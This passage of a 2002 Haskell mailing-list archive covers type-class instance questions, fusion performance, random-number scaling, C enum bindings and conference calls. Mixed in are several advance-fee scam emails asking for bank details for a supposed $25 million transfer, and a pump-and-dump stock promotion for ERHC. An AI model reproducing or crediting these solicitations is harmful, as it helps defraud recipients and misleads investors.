and diamonds=2E This transaction should be finalized within seven =287=29 working days and for your co-operation and partnership=2C we have unanimously agreed that you will be entitled to 5=2E5% of the money when successfully receive it in your account=2E The nature of your business is not relevant to the successful execution of this transaction what we require is your total co-operation and commitment to ensure 100% risk-free transaction at both ends and to protect the persons involved in this transactio! n=2C strict confidence and utmost secrecy is required even after the successful conclusion of this transaction=2E If this proposal is acceptable to you=2C kindly provide me with your personal telephone and fax through my E-mail box for immediate commencement of the transaction=2E I count on your honour to keep my secret=2C SECRET=2E Looking forward for your urgent reply Thanks=2E Best Regards MPETI L=2E KABILA =28Jnr=29 From sas02@clip.dia.fi.upm.es Fri May 3 09:07:47 2002 From: sas02@clip.dia.fi.upm.es (SAS2002) Date: Fri, 03 May 2002 10:07:47 +0200 Subject: SAS'02 -- DEADLINE EXTENSION -- MAY 10 Message-ID: <200205030807.g4387l319535@clip.dia.fi.upm.es> (Apologies for multiple postings) Due to numerous requests, the submission deadline for SAS'02 has been extended to: **Friday MAY 10** ---------------------------------------------------------------------- CALL FOR PAPERS (SAS'02) The 9th International Static Analysis Symposium September 17 - 20 2002, Madrid, Spain http://clip.dia.fi.upm.es/SAS02 New submission deadline: May 10, 2002 ---------------------------------------------------------------------- Static Analysis is increasingly recognized as a fundamental tool for high performance implementations and verification systems of high-level programming languages. The series of Static Analysis Symposia has served as the primary venue for presentation of theoretical, practical, and application advances in the area. The Ninth International Static Analysis Symposium (SAS'02) will be held at the Technical University of Madrid, co-located with Logic-based Program Development and Transformation (LOPSTR'02) and the APPIA-GULP-PRODE Joint Conference on Declarative Programming (AGP'02). Previous symposia were held in Paris, Santa Barbara, Venice, Pisa, Paris, Aachen, Glasgow and Namur. The technical program for SAS'02 will consist of invited lectures, tutorials, panels, presentations of refereed papers, and software demonstrations. Contributions are welcome on all aspects of Static Analysis, including, but not limited to: * abstract interpretation, * data flow analysis, * verification systems, * program specialization, * abstract domains, * optimizing compilers, * theoretical frameworks, * type inference, * abstract model checking, * complexity analysis, * abstract testing, * security analysis. Submissions can address any programming paradigm, including concurrent, constraint, functional, imperative, logic and object-oriented programming. Survey papers that present some aspect of the above topics with a new coherence are also welcome. Papers must describe original work, be written and presented in English, and must not substantially overlap with papers that have been published or that are simultaneously submitted to a journal or a conference with refereed proceedings. Submission Instructions ----------------------- All submissions must be performed electronically at http://clip.dia.fi.upm.es/SAS02/submission.html. Submitted papers should be at most 15 pages excluding bibliography and well-marked appendices. Program committee members are not required to read the appendices, and thus papers should be intelligible without them. The proceedings will be published by Springer-Verlag in the Lecture Notes in Computer Science series (see http://www.springer.de/comp/lncs/authors.html for the LNCS author instructions). Thus, adhering to that style already in the submission is strongly encouraged. Papers should be submitted either in PostScript or PDF format and they should be interpretable by Ghostscript or Acrobat Reader. Papers must be printable on either A4 paper or US letter, and preferably on both. Important Dates --------------- May 10, 2002 Extended submission deadline (hard) June 10, 2002 Notification June 30, 2002 Final version Sept 17-20, 2002 SAS'02 Program Committee ----------------- Manuel Hermenegildo (Chair) Technical University of Madrid, Spain German Puebla (Co-chair) Technical University of Madrid, Spain Radhia Cousot Ecole Polytechnique, France Saumya Debray The University of Arizona, USA Manuel Fahndrich Microsoft Research, USA Roberto Giacobazzi Univerity of Verona, Italy Chris Hankin Imperial College, UK Giorgio Levi Univerity of Pisa, Italy Kim Marriott Monash University, Australia Alan Mycroft Cambridge University, United Kingdom Ganesan Ramalingam IBM T.J. Watson Research Center, USA Martin Rinard Massachusetts Institute of Technology, USA Shmuel Sagiv Tel-Aviv Univerisity, Israel Reinhard Wilhelm Universitat des Saarlandes, Germany Contact Info ------------ Email: sas02@clip.dia.fi.upm.es Fax: + 34 91 352 4819 Phone: + 34 91 336 7448 Post: Manuel Hermenegildo (Ref.: SAS'02) Facultad de Informatica Universidad Politecnica de Madrid 28660 Boadilla del Monte Madrid, Spain ---------------------------------------------------------------------- From oinutter@hotmail.com Fri May 3 11:53:00 2002 From: oinutter@hotmail.com (Warrick Gray) Date: Fri, 03 May 2002 22:53:00 +1200 Subject: tricky instance declarations Message-ID: Hi all, I'm not very current on the latest wonders of haskell typing, but I feel that something like the following should be possible: data ConnError = ... -- error propagating monad: instance Monad (Either ConnError) where (Left e) >>= _ = Left e (Right v) >>= f = f v return = Right -- combined IO & error propagating monads instance Monad (IO (Either ConnError a)) where -- (>>=) :: IO (Either ConnError a) -- -> (a -> IO (Either ConnError b)) -- -> IO (Either ConnError b) m >>= f = m >>= \e -> e >>= f return = return . return I know the first declaration works with GHC compiler flag "-fglasgow-exts", but something about the line "Monad (IO (Either ConnError a))" makes me (and the compiler) very nervous. How should I be expressing this? Yours expectantly, Warrick. _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx From reid@cs.utah.edu Fri May 3 13:02:04 2002 From: reid@cs.utah.edu (Alastair Reid) Date: 03 May 2002 13:02:04 +0100 Subject: tricky instance declarations In-Reply-To: References: Message-ID: Warrick Gray writes: > data ConnError = ... > > -- error propagating monad: > instance Monad (Either ConnError) where > -- combined IO & error propagating monads > instance Monad (IO (Either ConnError a)) where > I know the first declaration works with GHC compiler flag > "-fglasgow-exts", but something about the line "Monad (IO (Either > ConnError a))" makes me (and the compiler) very nervous. How should I > be expressing this? You're probably seeing problems because Monad is a constructor class (i.e., expects an argument of kind * -> *) not a type class (which would expect an argument of kind *). You used Monad correctly in the first instance declaration (i.e., there's no mention of 'a') but not in the second (you did mention the 'a'). Unfortunately, the fix is slightly awkward. What you want to write is something like: > instance Monad (IO . Either ConnError) where but you can't use . to compose type constructors the way you can compose functions so that doesn't work. What you have to do is: > newtype IOE a = MkIOE (IO (Either ConnError a)) > unIOE (MkIOE x) = x > instance Monad IOE where ... or, generalizing slightly so that you only have to go through the pain of this once: > newtype IOF m a = MkIOF (IO (m a)) > unIOF (MkIOF x) = x > instance Monad (IOF (Either ConnError)) where ... Of course, the easiest fix is to use the fact that the IO monad has error propagation built into it. If you can encode your errors as strings, you're all set (or you could use the GHC Dynamic extensions if non-portability doesn't disturb). Hope this helps, Alastair Reid From ralf@informatik.uni-bonn.de Fri May 3 13:58:03 2002 From: ralf@informatik.uni-bonn.de (Ralf Hinze) Date: Fri, 3 May 2002 14:58:03 +0200 Subject: CFP: JFP Special Issue on Functional Pearls Message-ID: <200205031458.03198.ralf@informatik.uni-bonn.de> Apologies if you receive multiple copies... =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D CALL FOR PAPERS Special Issue on Functional Pearls http://www.informatik.uni-bonn.de/~ralf/necklace.html [Deadline: 31 August 2002] =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D Wer die Perle in H=E4nden = h=E4lt, fragt nicht nach der Musch= el. - Peter Ben= ary A special issue of the Journal of Functional Programming will be devoted to Functional Pearls. The submission deadline is 31 August 2002. Scope ----- Do you have a paper that is small, rounded and enjoyable to read? Please consider submitting it to the Special Issue on Functional Pearls, as we intend to string a shiny necklace. If you don't have a pearl, write one today! Papers can be on any subject connected to functional programming. A pearl is typically around 8 pages, though there is no strict page limit. The special issue also welcomes tutorial or educational papers in a broad sense. Submission details ------------------ Manuscripts should be unpublished works and not submitted elsewhere. Revised and polished versions of papers published in conference proceedings that have not appeared in archival journals are eligible for submission. All submissions will be reviewed according to the usual standards of scholarship and judged by elegance of development and clarity of expression. One of the main reviewers will be Richard Bird, the editor of JFP's regular Functional Pearls column. Deadline for submission: 31 August 2002 Notification of acceptance or rejection: 30 November 2002 Revised version due: 31 January 2003 Submissions should be sent to the Guest Editor (see address below), with a copy to Nasreen Ahmad (nasreen@dcs.gla.ac.uk). Submitted articles should be sent in PDF or Postscript format, preferably gzipped and uuencoded. The use of the JFP style files is strongly recommended. In addition, please send, as plain text, title, abstract (if any), and contact information. The submission deadline is 31 August 2002. Authors will be notified of acceptance or rejection by 30 November 2002. Revised versions are due on 31 January 2003. For other submission details, please consult an issue of the Journal of Functional Programming or see the Journal's web page at http://www.dcs.gla.ac.uk/jfp/. Guest Editor ------------ Ralf Hinze Institut f=FCr Informatik III Universit=E4t Bonn R=F6merstra=DFe 164 53117 Bonn, Germany Telephone: +49 (2 28) 73 - 45 35 Fax: +49 (2 28) 73 - 43 82 Email: ralf@informatik.uni-bonn.de WWW: http://www.informatik.uni-bonn.de/~ralf/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D From ralf@informatik.uni-bonn.de Fri May 3 14:29:57 2002 From: ralf@informatik.uni-bonn.de (Ralf Hinze) Date: Fri, 3 May 2002 15:29:57 +0200 Subject: Syntax highlighting for KDE's Kate Message-ID: <200205031529.57758.ralf@informatik.uni-bonn.de> Dear KDE users, I've hacked syntax highlighting files for Kate, KDE's editor. Feel free to use or to modify them. =09http://www.informatik.uni-bonn.de/~ralf/software.html#syntax Cheers, Ralf From hdaume@ISI.EDU Fri May 3 17:15:23 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Fri, 3 May 2002 09:15:23 -0700 (PDT) Subject: duplicate instance declarations Message-ID: Why is this a duplicate instance declaration: > class C a > class D b > data T a b > instance (C (T a b), C a) => D b > instance (C (T a b), C b) => D a These are symmetric, but not duplicate, as I see it. -- Hal Daume III "Computer science is no more about computers | hdaume@isi.edu than astronomy is about telescopes." -Dijkstra | www.isi.edu/~hdaume From C.T.McBride@durham.ac.uk Fri May 3 18:05:32 2002 From: C.T.McBride@durham.ac.uk (C T McBride) Date: Fri, 3 May 2002 18:05:32 +0100 (BST) Subject: duplicate instance declarations In-Reply-To: Message-ID: Hi > Why is this a duplicate instance declaration: > > > class C a > > class D b > > data T a b > > instance (C (T a b), C a) => D b > > instance (C (T a b), C b) => D a > > These are symmetric, but not duplicate, as I see it. Suppose we add instance C () instance C (T () ()) Now there are two ways to build an instance of D (). The class mechanism is based on an open world assumption, hence declarations must be rejected if they can subsequently be made to overlap. If two instance `conclusions' unify, as (D a) and (D b) do, we can make them overlap by ensuring that both sets of `premises' hold. In general, instance inference amounts to proof search, or the execution of a logic program. It requires quite serious restrictions to ensure that a given set of instance declarations will always result in terminating and deterministic search. Relaxing those restrictions, as in ghc -fdont-tell-my-mum, leaves us able to write nonterminating compile-time programs. Indeed, we even find the compiler `deriving' them for us. By the way, critics of Cayenne should note that the only reason its typechecking is undecidable is that you can execute non-terminating programs at compile-time. Funny-type-class Haskell is just as bad. Just as I argue with respect to the type system (type-lambda etc), I'd suggest that extending the expressivity of the class system does no harm, provided we cease to presume that instance inference must always be fully automatic. If there is a way to give the construction of an instance explicitly, then we can always make clear those things the machine can't figure out for itself. Just like typechecking, instance-finding is a partnership between people and machines: the machines should figure out as much as possible, but the people should always be able to help. Cheers Conor From bhuffman@galois.com Fri May 3 18:29:44 2002 From: bhuffman@galois.com (Brian Huffman) Date: Fri, 3 May 2002 10:29:44 -0700 Subject: Syntax highlighting for KDE's Kate In-Reply-To: <200205031529.57758.ralf@informatik.uni-bonn.de> References: <200205031529.57758.ralf@informatik.uni-bonn.de> Message-ID: <200205031029.44566.bhuffman@galois.com> --------------Boundary-00=_KXPJ98XKWX73HSTKAH1B Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit On Friday 03 May 2002 06:29 am, Ralf Hinze wrote: > Dear KDE users, > > I've hacked syntax highlighting files for Kate, KDE's editor. > Feel free to use or to modify them. > > http://www.informatik.uni-bonn.de/~ralf/software.html#syntax > > Cheers, Ralf Attached here is another syntax highlighting file for Kate that I wrote; it closely follows the haskell report for things like character literals and the maximal-munch rule for comments. I haven't gotten around to writing a version for literate haskell files, but maybe someone else could try to adapt it. Feel free to try it out. Even if you don't use Kate for editing, you can still use the highlighting file with the embedded text viewer in Konqueror. - Brian Huffman --------------Boundary-00=_KXPJ98XKWX73HSTKAH1B Content-Type: text/xml; charset="iso-8859-1"; name="hs.xml" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="hs.xml" case class data default deriving do else if import in infix infixl infixr instance let module newtype of primitive then type where --------------Boundary-00=_KXPJ98XKWX73HSTKAH1B-- From hdaume@ISI.EDU Fri May 3 18:33:20 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Fri, 3 May 2002 10:33:20 -0700 (PDT) Subject: duplicate instance declarations In-Reply-To: Message-ID: Cool, thanks, that made sense. > [lots of stuff snipped] What's the difference, then, between "duplicate instances" and "overlapping" instances? It seems that even with -fallow-overlapping-instances and even -fallow-undecidable-instances ghc still rejects the code I had. From scm@comlab.ox.ac.uk Fri May 3 21:58:51 2002 From: scm@comlab.ox.ac.uk (Shin-Cheng Mu) Date: Fri, 3 May 2002 21:58:51 +0100 Subject: Deforestration harmful? Message-ID: <923D2B7B-5ED8-11D6-BA5F-0050E459B742@comlab.ox.ac.uk> Hi all, We encountered a case where elimination of intermediate data structure seeems to have a bad impact on the overall performance and we were wondering why. Relationally, our program would be as simple as: f . g where g :: Seed -> Tree1 and f :: Tree1 -> Tree2. Basically g generate some kind of tree via an unfold and f map a Tree1 to some (usually 3 or 4) Tree2. In reality we have to implement relations as set (or list) valued functions, so it becomes concat . map f. g where g looks like g seed = [ z | (s1, s2) <- split seed, x <- g s1, y <- g s2, z <- join x y ] The relation f was almost as simple as a replacing each constructor in Tree1 with one or more coresponding constructors in Tree2. They two can be fused together and becomes fg seed = [ z | (s1, s2) <- split seed, x <- fg s1, y <- fg s2, z <- join' x y ] The intermediate datatype Tree1 was thus eliminated. The problem was: the fused program ran slower than the original one! At least if you measure the total running time (either via the UNIX time command or use the CPUTime module). The time reported in the GHC time profile indeed showed that the fused program is faster, though, if GC time is excluded. We were quite curious why and my guess was: since f maps a Tree1 to more than one Tree2, in the two list comprehensions, the list produced by (fg s2) is much longer than (g s2). The fused program thus has to keep a longer list in memory. Worse heap residency results in more GCs. (Luckily GHC did not attempt to automatically perform the fusion for us! :) ) An obvious thing to try was to increase the heap size. Again we were surprised. Indeed the GC time decreased but the running time in the profile (excluding the GC time) increased a bit. Our guess was that it might have something to do with the way GHC allocates new memory cells such that larger heap results in longer allocation time. It was quite tricky to find the best heap size at which the program runs at maximal speed. Are the above guesses are plausible? Is it a known phenomena? Thank you very much. sincerely, Shin-Cheng Mu From ashley@semantic.org Sat May 4 01:38:12 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Fri, 3 May 2002 17:38:12 -0700 Subject: ANNOUNCE: Haddock version 0.1, a Haskell documentation tool Message-ID: <200205040038.RAA26430@mail4.halcyon.com> At 2002-05-01 04:48, Simon Marlow wrote: >I'm pleased to announce version 0.1 of Haddock, a documentation >generation tool for Haskell source code. I take it this is the "standard" Haskell documentation tool now, that implementations of the standard libraries will use? I've been waiting for something like this. -- Ashley Yakeley, Seattle WA From mpeti_k03@diplomats.com Sat May 4 13:35:26 2002 From: mpeti_k03@diplomats.com (laurent mpeti kabila) Date: Sat, 4 May 2002 14:35:26 +0200 Subject: (no subject) Message-ID: <20020504123137.EC7F14220BE@www.haskell.org> REQUEST FOR URGENT BUSINESS ASSISTANCE -------------------------------------- I stumbled into your contact by stroke of luck after a long search for an honest and trust worthy person who could handle issue with high confidentiality=2E I was so dilghted when i got your contact and i decided to contact you and solicite for your kind assistance=2E i hope you will let this issue to remain confidential even if you are not interested because of my status=2E I am Laurent Mpeti Kabila =28Jnr=29 the second son of Late President LAURENT DESIRE KABILA the immediate Past president of the DEMOCRATIC REPUBLIC OF CONGO in Africa who was murdered by his opposition through his personal bodyguards in his bedroom on Tuesday 16th January=2C 2001=2E I have the privilege of being mandated by my father=2Cs colleagues to seek your immediate and urgent co-operation to receive into your bank account the sum of US $25m=2E =28twenty-five million Dollars=29 and some thousands carats of Diamond=2E This money and treasures was lodged in a vault with a security firm in Europe and South-Africa=2E SOURCES OF DIAMONDS AND FUND In August 2000=2C my father as a defence minister and president has a meeting with his cabinet and armychief about the defence budget for 2000 to 2001 which was US $700m=2E so he directed one of his best friend=2E Frederic Kibasa Maliba who was a minister of mines and a political party leader known as the Union Sacree de=2Copposition radicale et ses allies =28USORAL=29 to buy arms with US $200m on 5th January 2001=3B for him to finalize the arms deal=2Cmy father was murdered=2E f=2EK=2E Maliba =28FKM=29 and I have decided to keep the money with a foreigner after which he will use it to contest for the political election=2E Inspite of all this we have resolved to present you or your company for the firm to pay it into your nominated account the above sum and diamonds=2E This transaction should be finalized within seven =287=29 working days and for your co-operation and partnership=2C we have unanimously agreed that you will be entitled to 5=2E5% of the money when successfully receive it in your account=2E The nature of your business is not relevant to the successful execution of this transaction what we require is your total co-operation and commitment to ensure 100%risk-free transaction at both ends and to protect the persons involved in this transaction strict confidence and utmost secrecy is required even after the uccessful conclusion of this transaction=2E If this proposal is acceptable to you=2C kindly provide me with your personal telephone and fax through my E-mail box for immediate commencement of the transaction=2E I count on your honour to keep my secret=2C SECRET=2E Looking forward for your urgent reply Thanks=2E Best Regards MPETI L=2E KABILA =28Jnr=29 From dnovatchev@yahoo.com Sat May 4 14:05:45 2002 From: dnovatchev@yahoo.com (Dimitre Novatchev) Date: Sat, 4 May 2002 06:05:45 -0700 (PDT) Subject: Bug in the scaling of randoms in "Haskel: The Craft of Functional Programming" Message-ID: <20020504130545.43660.qmail@web14502.mail.yahoo.com> In his excellent book Simon Thompson defines scaling of the elements of a sequence of random numbers from the interval [0, 65535] to an interval [s,t] in the following way (top of page 368): > scaleSequence :: Int -> Int -> [Int] -> [Int] > scaleSequence s t > = map scale > where > scale n = n `div` denom + s > range = t - s + 1 > denom = modulus `div` range where modulus = 65536 However, the following expression: > e4000 = (scaleSequence 1 966 ([65231] ++ [1..965]))!!0 evaluates to 974 -- clearly outside of the specified interval. I'm using the following scaling function, the correctness of which I believe can be proven: > randScale :: Float -> Float -> Int -> Int > randScale s t n = floor (rndScl ((t - s + 1)/ dintRange ) s n) > where dintRange = fromInt (modulus - 1) > rndScl :: Float -> Float -> Int -> Float > rndScl a b n = a * fromInt n + b > scaleSequence2 :: Int -> Int -> [Int] -> [Int] > scaleSequence2 s t > = map scale > where > scale n = randScale (fromInt s) (fromInt t) n Could somebody please, provide a corrected definition that still uses modulo arithmetics? Cheers, Dimitre Novatchev. __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com From dominic.j.steinitz@britishairways.com Sat May 4 18:30:15 2002 From: dominic.j.steinitz@britishairways.com (dominic.j.steinitz@britishairways.com) Date: Sat, 4 May 2002 18:30:15 +0100 Subject: C Header File Conversion Message-ID: I need to use values that are kept in a C header file - see below for an extract of the header file. What I'd like to be able to say is import Word import Bits data ICMPType = EchoReply | ICMPType1 | ICMPType2 | DestUnreach | SourceQuench ... deriving Enum encode :: ICMPType -> Word8 encode x = fromIntegral (fromEnum x) Is this a sensible approach? Are there any tools that could help? C->Haskell and HaskellDirect look possibilities but I'd welcome advice before I try and install them. Many thanks, Dominic. #define ICMP_ECHOREPLY 0 /* Echo Reply */ #define ICMP_DEST_UNREACH 3 /* Destination Unreachable */ #define ICMP_SOURCE_QUENCH 4 /* Source Quench */ #define ICMP_REDIRECT 5 /* Redirect (change route) */ #define ICMP_ECHO 8 /* Echo Request */ #define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ #define ICMP_PARAMETERPROB 12 /* Parameter Problem */ #define ICMP_TIMESTAMP 13 /* Timestamp Request */ #define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ #define ICMP_INFO_REQUEST 15 /* Information Request */ #define ICMP_INFO_REPLY 16 /* Information Reply */ #define ICMP_ADDRESS 17 /* Address Mask Request */ #define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ #define NR_ICMP_TYPES 18 From chak@cse.unsw.edu.au Sat May 4 22:09:58 2002 From: chak@cse.unsw.edu.au (Manuel M. T. Chakravarty) Date: Sun, 05 May 2002 07:09:58 +1000 Subject: C Header File Conversion In-Reply-To: References: Message-ID: <20020505070958N.chak@cse.unsw.edu.au> dominic.j.steinitz@britishairways.com wrote, > I need to use values that are kept in a C header file - see below for an > extract of the header file. What I'd like to be able to say is > > import Word > import Bits > > data ICMPType = EchoReply > | ICMPType1 > | ICMPType2 > | DestUnreach > | SourceQuench ... > deriving Enum > > encode :: ICMPType -> Word8 > encode x = fromIntegral (fromEnum x) > > Is this a sensible approach? Are there any tools that could help? > C->Haskell and HaskellDirect look possibilities but I'd welcome advice > before I try and install them. Regarding C->Haskell, conversion of C enumerations into Haskell type definitions is what enum hooks are for, BUT doing this fully automatically from #define'd enumerations is not yet implemented. Thus, you would have to define (in a C header) enum ICMPType { ECHOREPLY = ICMP_ECHOREPLY, ICMPType1 = 1, /* you can leave these two off and c2hs */ ICMPType2 = 2, /* will still generate the right Enum instance */ DEST_UNREACH = ICMP_DEST_UNREACH, ... }; Then, the binding hooks {#enum ICMPType {underscoreToCase}#} would exactly do what you want. I plan to extend C->Haskell so that you don't have to write the C enum declaration manually, but you will, then, have to list the names of the enumeration values in the binding module. But this extension will only be after the next binary release of c2hs. Cheers, Manuel From mpeti_k01@diplomats.com Sat May 4 23:01:13 2002 From: mpeti_k01@diplomats.com (mpeti laurent kabila) Date: Sun, 5 May 2002 00:01:13 +0200 Subject: (no subject) Message-ID: <20020504215724.877E44220BE@www.haskell.org> REQUEST FOR URGENT BUSINESS ASSISTANCE -------------------------------------- I stumbled into your contact by stroke of luck after a long search for an honest and trust worthy person who could handle issue with high confidentiality=2E I was so dilghted when i got your contact and i decided to contact you and solicite for your kind assistance=2E i hope you will let this issue to remain confidential even if you are not interested because of my status=2E I am Laurent Mpeti Kabila =28Jnr=29 the second son of Late President LAURENT DESIRE KABILA the immediate Past president of the DEMOCRATIC REPUBLIC OF CONGO in Africa who was murdered by his opposition through his personal bodyguards in his bedroom on Tuesday 16th January=2C 2001=2E I have the privilege of being mandated by my father=2Cs colleagues to seek your immediate and urgent co-operation to receive into your bank account the sum of US $25m=2E =28twenty-five million Dollars=29 and some thousands carats of Diamond=2E This money and treasures was lodged in a vault with a security firm in Europe and South-Africa=2E SOURCES OF DIAMONDS AND FUND In August 2000=2C my father as a defence minister and president has a meeting with his cabinet and armychief about the defence budget for 2000 to 2001 which was US $700m=2E so he directed one of his best friend=2E Frederic Kibasa Maliba who was a minister of mines and a political party leader known as the Union Sacree de=2Copposition radicale et ses allies =28USORAL=29 to buy arms with US $200m on 5th January 2001=3B for him to finalize the arms deal=2Cmy father was murdered=2E f=2EK=2E Maliba =28FKM=29 and I have decided to keep the money with a foreigner after which he will use it to contest for the political election=2E Inspite of all this we have resolved to present you or your company for the firm to pay it into your nominated account the above sum and diamonds=2E This transaction should be finalized within seven =287=29 working days and for your co-operation and partnership=2C we have unanimously agreed that you will be entitled to 5=2E5% of the money when successfully receive it in your account=2E The nature of your business is not relevant to the successful execution of this transaction what we require is your total co-operation and commitment to ensure 100%risk-free transaction at both ends and to protect the persons involved in this transaction strict confidence and utmost secrecy is required even after the uccessful conclusion of this transaction=2E If this proposal is acceptable to you=2C kindly provide me with your personal telephone and fax through my E-mail box for immediate commencement of the transaction=2E I count on your honour to keep my secret=2C SECRET=2E Looking forward for your urgent reply Thanks=2E Best Regards MPETI L=2E KABILA =28Jnr=29 From dfeuer@cs.brown.edu Sun May 5 02:55:53 2002 From: dfeuer@cs.brown.edu (David Feuer) Date: Sat, 4 May 2002 21:55:53 -0400 Subject: let's can this spam? In-Reply-To: <20020504215724.877E44220BE@www.haskell.org>; from mpeti_k01@diplomats.com on Sun, May 05, 2002 at 12:01:13AM +0200 References: <20020504215724.877E44220BE@www.haskell.org> Message-ID: <20020504215553.D26500@cslab7c.cs.brown.edu> I've gotten a whole lot of copies of this message off the haskell list, and I'm starting to get annoyed. Would it be possible to put a filter on the list? On Sun, May 05, 2002, mpeti laurent kabila wrote: > REQUEST FOR URGENT BUSINESS ASSISTANCE > -------------------------------------- > I stumbled into your contact by stroke of luck after a > long search for an honest and trust worthy person who > could handle issue with high confidentiality. > I was so dilghted when i got your contact and i decided > to contact you and solicite for your kind assistance. > i hope you will let this issue to remain confidential even > if you are not interested because of my status. > From dfeuer@cs.brown.edu Sun May 5 02:57:00 2002 From: dfeuer@cs.brown.edu (David Feuer) Date: Sat, 4 May 2002 21:57:00 -0400 Subject: let's can this spam? In-Reply-To: <20020504215553.D26500@cslab7c.cs.brown.edu>; from dfeuer@cs.brown.edu on Sat, May 04, 2002 at 09:55:53PM -0400 References: <20020504215724.877E44220BE@www.haskell.org> <20020504215553.D26500@cslab7c.cs.brown.edu> Message-ID: <20020504215700.E26500@cslab7c.cs.brown.edu> Eek. Sorry folks. Should have sent this to the admin..... On Sat, May 04, 2002, David Feuer wrote: > I've gotten a whole lot of copies of this message off the haskell list, > and I'm starting to get annoyed. Would it be possible to put a filter > on the list? > > > On Sun, May 05, 2002, mpeti laurent kabila wrote: > > REQUEST FOR URGENT BUSINESS ASSISTANCE > > -------------------------------------- > > I stumbled into your contact by stroke of luck after a > > long search for an honest and trust worthy person who > > could handle issue with high confidentiality. > > I was so dilghted when i got your contact and i decided > > to contact you and solicite for your kind assistance. > > i hope you will let this issue to remain confidential even > > if you are not interested because of my status. > > > _______________________________________________ > Haskell mailing list > Haskell@haskell.org > http://www.haskell.org/mailman/listinfo/haskell -- Night. An owl flies o'er rooftops. The moon sheds its soft light upon the trees. David Feuer From peterson-john@cs.yale.edu Sun May 5 02:58:34 2002 From: peterson-john@cs.yale.edu (John Peterson) Date: Sat, 4 May 2002 21:58:34 -0400 Subject: let's can this spam? In-Reply-To: <20020504215553.D26500@cslab7c.cs.brown.edu> (message from David Feuer on Sat, 4 May 2002 21:55:53 -0400) References: <20020504215724.877E44220BE@www.haskell.org> <20020504215553.D26500@cslab7c.cs.brown.edu> Message-ID: <200205050158.g451wYu23735@ragged.cs.yale.edu> Funny you should ask. We've got despamming ready to test on Monday. So hang in there one more day and things should get better. John From jadrian@mat.uc.pt Sun May 5 22:42:29 2002 From: jadrian@mat.uc.pt (Jorge Adriano) Date: Sun, 5 May 2002 22:42:29 +0100 Subject: Syntax highlighting for KDE's Kate In-Reply-To: <200205031529.57758.ralf@informatik.uni-bonn.de> References: <200205031529.57758.ralf@informatik.uni-bonn.de> Message-ID: <200205052242.29107.jadrian@mat.uc.pt> > Dear KDE users, > > I've hacked syntax highlighting files for Kate, KDE's editor. > Feel free to use or to modify them. > > =09http://www.informatik.uni-bonn.de/~ralf/software.html#syntax Great! To bad the literate haskell mode doesn't work with the LaTeX kind of lite= rate=20 programming - \begin{code} ... \end{code} - that's how I've been coding a= ll=20 my haskell programs lately :) I'll probably hack it myself if/when I have the time. J.A. From timeismonie@btamail.net.cn Mon May 6 02:38:42 2002 From: timeismonie@btamail.net.cn (timeismonie@btamail.net.cn) Date: Sun, 5 May 2002 20:38:42 -0500 Subject: (no subject) Message-ID: <20020506014345.BEE8742221B@www.haskell.org> SPECIAL SITUATION ALERTS NEWSLETTER HOT PICK OF THE YEAR Environmental Remediation Holding Corp. (d.b.a. Chrome Energy Corp) (OTCBB: ERHC) RECENT PRICE: $.20 SELL TARGET: $1.25 INVESTORS: WE HAVE FOUND THE HIDDEN GEM: (OTCBB: ERHC) The IMF (International Monetary Fund) states in a worldwide published report [February 2002 IMF Country Report No. 02/30 (page 10 of 82)] that ERHC's working interest in their offshore West African oil blocks will generate $1,446,800,000 in cumulative income over the next 22 years. The IMF provides this evaluation to its 183 Member Nations while promoting international monetary exchange and fostering economic trade and growth with an arsenal of $272 Billion! Dow Jones News: ERHC enters into joint-venture license agreements with Schlumberger LTD (NYSE: SLB, $53) and Baker Hughes, INC. (NYSE: BHI, $34) for seismic data on some of the richest offshore oil blocks in West Africa, where ERHC controls a huge working interest. Investor Alert: ERHC's joint-venture with SCHLUMBERGER and BAKER HUGHES puts them in world class company with these leaders in oil exploration and reservoir imaging services. The involvement of SLB and BHI reinforces the MULTI-BILLION DOLLAR VALUE that has been placed in this offshore drilling haven. ERHC's goal is to maximize shareholder value from existing contractual rights, making them a significant player in this region. THE BIG MONEY ROLLS IN: The seismic data from this joint venture is being made available for further involvement by the LARGEST OIL COMPANIES IN THE WORLD over the next 2 weeks! Bidding wars have already developed between major oil companies such as: SHELL, CHEVRON/TEXACO, CONOCO, EXXON/MOBIL, PHILIPS, and MARATHON who are willing to pay Hundreds of Millions to drill in the oil blocks that border on ERHC's offshore zones. STOCK SET TO EXPLODE ON EARNINGS BOOM: "UPSTREAM", the International Oil and Gas Newspaper considered to be the equivalent of the "Wall Street Journal" for the Oil Industry, has stated in a number of articles that EXXON/MOBIL believes that the oil blocks "housing ERHC's working interest" contain over 8 BILLION BARRELS OF RECOVERABLE OIL TAKEOVERS RUNNING RAMPANT: 